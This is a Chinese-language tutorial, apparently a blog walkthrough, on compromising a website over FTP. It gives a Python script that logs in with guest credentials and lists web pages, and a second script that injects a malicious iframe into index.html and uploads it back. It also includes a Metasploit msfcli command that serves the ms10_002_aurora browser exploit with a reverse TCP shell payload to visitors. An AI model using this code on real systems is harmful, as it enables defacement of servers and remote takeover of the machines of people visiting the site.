目錄
一、在FTP服務器上搜索網頁
1.1、函數:
1.2、實現:
二、在網頁中加入惡意注入代碼
2.1、分析:
2.2、函數:
2.3、實現:
1.1、函數:
ftp.nlst():返回FTP服務器上指定目錄的文件列表
fileName.lower():將字符串中的所有大寫字母轉換為小寫字母
1.2、實現:
有了FTP 服務器的登錄口令之後,要測試一下該服務器是否提供Web 服務
首先要列出FTP 目錄中的所有文件, 搜索其中是否含有默認網頁。returnDefault()函數輸入的參數是一個FTP 連接, 返回一個它找到的默認網頁的數組。它是通過發出NLST 命令(列出目錄中所有文件的命令)完成這一操作的。該函數會逐個檢查NLST 命令列出的每個文件的文件名是不是默認的Web 頁面文件名, 並把找到的所有默認網頁都添加到一個叫retList 的數組中。完成這一迭代操作後, 函數返回該數組。
運行python defaultPages.py
import ftplib def returnDefault(ftp): try: dirList = ftp.nlst() except: dirList = [] print('[-] Could not list directory contents.') print('[-] Skipping To Next Target.') return retList = [] for fileName in dirList: fn = fileName.lower() if '.php' in fn or '.htm' in fn or '.asp' in fn: print('[+] Found default page: ' + fileName) retList.append(fileName) return retList host = '192.168.190.131' userName = 'guest' password = 'guest' ftp = ftplib.FTP(host) ftp.login(userName, password) returnDefault(ftp)
2.1、分析:
已經找到了網頁文件, 必須用惡意重定向代碼感染它們。為了快速創建一個位於http://xx.xx.xx.xx:8080/exploit 的惡意服務器和頁面,將使用Metasploit 框架,選用的是msl0_002_aurora, ip:8080/exploit 上的網頁會利用被重定向到它這裡的浏覽器中的漏洞, 使之向我們提供一個反向連接, 令我們能通過這個反向連接來控制這台“ 肉機”
msfcli exploit/windows/browser/ms10_002_aurora
LHOST=xx.xx.xx.xx SRVHOST=xx.xx.xx.xx URIPATH=/exploit
PAYLOAD=windows/shell/reverse_tcp LHOST=xx.xx.xx.xx LPORT=443 E如果有哪個有漏洞的浏覽器連接到http://xx.xx.xx.xx:8080/ exploit這個服務器, 它就會執行漏洞利用代碼。一旦成功,將生成一個反向的TCPshell, 並讓我們得到這台被黑計算機上的Windows命令行提示窗口。有了這個命令shell後, 就能在“ 肉機” 上以管理員權限執行命令
接下來,要在被黑服務器的正常網頁中添加一段重定向至我們的惡意服務器的代碼。我們可以從被黑的服務器上把默認網頁下載下來, 在其中插入一個iframe, 然後把這個插入了惡意代碼的網頁傳回到被黑的服務器上
injectPage()這個函數,需要給injectPage()函數輸入一個FTP連接、網頁名, 以及表示用於重定向的這個iframe字符串,然後下載該網頁的臨時副本。接著, 它把重定向到我們惡意服務器上的這個iframe添加到這個臨時文件中。最後, 函數將被感染的網頁傳回被黑的服務器上。
2.2、函數:
ftp.retrlines():使用RETR命令獲取文件多行信息
storlines (cmd, f):給定 FTP 命令。(如“ STOR filename”),用來上傳文本文件
ftplib.FTP類:實現FTP協議的客戶端,可以使用它來編寫執行各種FTP作業的Python程序
2.3、實現:
python injectPage.py
import ftplib def injectPage(ftp, page, redirect): f = open(page + '.tmp', 'w') ftp.retrlines('RETR ' + page, f.write) print('[+] Downloaded Page: ' + page) f.write(redirect) f.close() print('[+] Injected Malicious IFrame on: ' + page) ftp.storlines('STOR ' + page, open(page + '.tmp')) print('[+] Uploaded Injected Page: ' + page) host = '192.168.190.131' userName = 'guest' passWord = 'guest' ftp = ftplib.FTP(host) ftp.login(userName, passWord) redirect = '<iframe src= '+'"http://xx.xx.xx.xx:8080/exploit"></iframe>' injectPage(ftp, 'index.html', redirect)